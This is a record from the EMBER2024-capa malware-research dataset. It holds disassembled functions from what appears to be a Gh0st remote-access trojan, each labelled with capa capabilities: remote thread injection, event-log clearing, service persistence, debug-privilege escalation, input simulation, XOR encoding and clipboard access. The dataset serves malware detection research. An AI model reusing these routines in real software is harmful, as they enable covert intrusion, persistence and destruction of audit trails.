joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404910
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.00406b20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x404cb0
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414550
push 0x410da8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x13c], ebx
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp ebx, edi
jne 0x404d1c
cmp esi, edi
je 0x404d97
lea ecx, [ebp - 0x138]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404d97
cmp dword [ebp - 0x134], 1
je 0x404d56
lea edx, [ebp - 0x138]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x404d97
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x53c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x53c]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], 0xffffffff
call fcn.00404dc0
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404e40
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404e94
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.00404de0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x404eff
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret

Function at 0x404f10
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411240
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
push ebx
push esi
push edi
lea eax, [ebp - 0x218]
mov dword [ebp - 0x10], esp
push 0x1f4
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x218]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x404fb9
lea edx, [ebp - 0x20]
push 0x4154d0
push edx
mov dword [ebp - 0x20], 0x41a260
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push str.Type
push ecx
mov dword [ebp - 0x18], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x405013
lea edx, [ebp - 0x1c]
push 0x4154d0
push edx
mov dword [ebp - 0x1c], str.RegSetValueEx_start_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x40500d
cmp byte [eax], 0
je 0x40500d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x405013
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405790
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x4057b2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.0040a690
add esp, 8
test al, al
jne 0x4057c6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x405820
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x405915
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405915
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x405915
lea eax, [esp + 0x64]
push 0x418188
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405915
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x4058ef
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x405920
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x405970
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x405957
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x405990
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4059ea
push esi
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push esi
push 2
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
jne 0x4059ea
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x4059f0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x405a42
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x405a42
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x405d00
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x405d21
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x405d48
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x405d95
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret
Function at 0x405e60
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
call fcn.00405d00
mov eax, dword [esp + 0x10c]
push eax
call fcn.0040a1d0
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x405ea2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push str.advapi32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push str.kernel32.dll
call ebx
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
push 0
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x405fc2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push esi
call ebp
test eax, eax
jne 0x405fe9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x40600d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x405db0
push ebx
push esi
call ebp
test eax, eax
jne 0x40602e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x406180
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x41a49c]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x4061cd
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x4061fb
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x4061ef
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4065d0
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x41456c
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.004066a0
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x41a4a0], eax
jne 0x406643
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x406663
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x41a49c], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x40667e
test eax, eax
je 0x406677
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x406692
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x406820
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set global application hook

Disassembly:
call fcn.004065d0
test al, al
jne 0x40682a
ret
push edi
mov edi, dword [0x41a49c]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x41a498], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41a494], eax
mov eax, dword [0x41a49c]
push 0x104
mov dword [eax + 8], 0
mov ecx, dword [0x41a49c]
xor eax, eax
mov dword [ecx + 4], 0
mov edx, dword [0x41a49c]
mov ecx, 0x20
mov dword [edx], 0
mov edx, dword [0x41a49c]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x41a49c]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x41a49c]
push str._flyboy.dat
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [0x41a49c]
add edx, 0xd
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop edi
je 0x4068d0
mov eax, dword [0x41a49c]
mov byte [eax + 0xc], 1
jmp 0x4068da
mov ecx, dword [0x41a49c]
mov byte [ecx + 0xc], 0
mov edx, dword [0x41a49c]
mov eax, dword [edx + 4]
test eax, eax
jne 0x406905
mov eax, dword [0x41a4a4]
push 0
push eax
push 0x406390
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov ecx, dword [0x41a49c]
mov dword [ecx + 4], eax
mov al, 1
ret
Function at 0x407090
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414598
push 0x410da8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x4070c7
jmp dword [eax*4 + 0x407210]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x4070c7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x4070c7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x4070c7
cmp edx, 2
jbe 0x407150
cmp edx, 4
jne case.default.0x4070c7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x4070c7
jmp 0x4071d4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x4070c7
jmp 0x4071d4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x4070c7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x4070c7
jmp 0x4071d4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x4070c7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x4070c7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004071fb
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407ae0
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x407c91
call fcn.0040a4b0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x407c91
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x407b5d
cmp eax, 0x208
ja 0x407b5d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x407c0d
je 0x407bf5
cmp eax, 0x105
ja 0x407bc9
je 0x407bab
sub eax, 0x100
je 0x407b8d
dec eax
je 0x407bab
sub eax, 3
jne case.0x407c17.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x407c17.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x407c17.521
sub eax, 0x201
je 0x407be6
dec eax
jne case.0x407c17.521
push 0
push 0
push 0
push 0
push 4
jmp 0x407c7a
push 0
push 0
push 0
push 0
push 2
jmp 0x407c7a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x407c7a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x407c17.521
jmp dword [eax*4 + 0x407c98]
push 0
push 0
push 0
push 0
push 8
jmp 0x407c7a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x407c7a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x407c7a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x407c7a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x407c7a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x407b29
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x407cc0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407d28
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x407d20
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x407d30
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407dc2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x407d61
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.00406b20
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret